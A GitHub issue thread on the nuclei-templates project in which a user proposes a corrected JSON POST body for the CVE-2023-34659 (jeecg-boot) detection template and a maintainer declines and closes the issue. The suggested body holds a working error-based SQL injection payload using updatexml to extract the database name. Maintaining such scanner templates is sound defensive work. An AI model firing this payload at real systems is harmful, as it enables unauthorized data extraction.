Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2023-34659 Exp change wanted #9228

Closed
hi-unc1e opened this issue Feb 26, 2024 · 2 comments
Closed

CVE-2023-34659 Exp change wanted #9228

hi-unc1e opened this issue Feb 26, 2024 · 2 comments
Assignees

Comments

@hi-unc1e
Copy link

https://github.com/projectdiscovery/nuclei-templates/blame/68d09a4eb0c155b00a53e1e99d1fb077d14425bf/http/cves/2023/CVE-2023-34659.yaml#L39C1-L40C1

Considering a valid JSON format, the POST_body should be

{"id":"961455b47c0b86dc961e90b5893bff05","apiUrl":"","params":"{\"id\":\"1' or '%1%' like (updatexml(0x3a,concat(1,(select database())),1)) or '%%' like '\"}"}

See jeecgboot/jeecg-boot#4976

@ritikchaddha
Copy link
Contributor

Hello, @hi-unc1e. Thank you for suggesting changes to the template. However, I noticed that the third image from the provided reference uses the version() in the payload, which is the same as in the template. Furthermore, adding database() or version() will not impact the template because it depends entirely on SQL error matchers.

@ritikchaddha
Copy link
Contributor

Closing this issue due to inactivity. Feel free to reopen it if you have more information

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

2 participants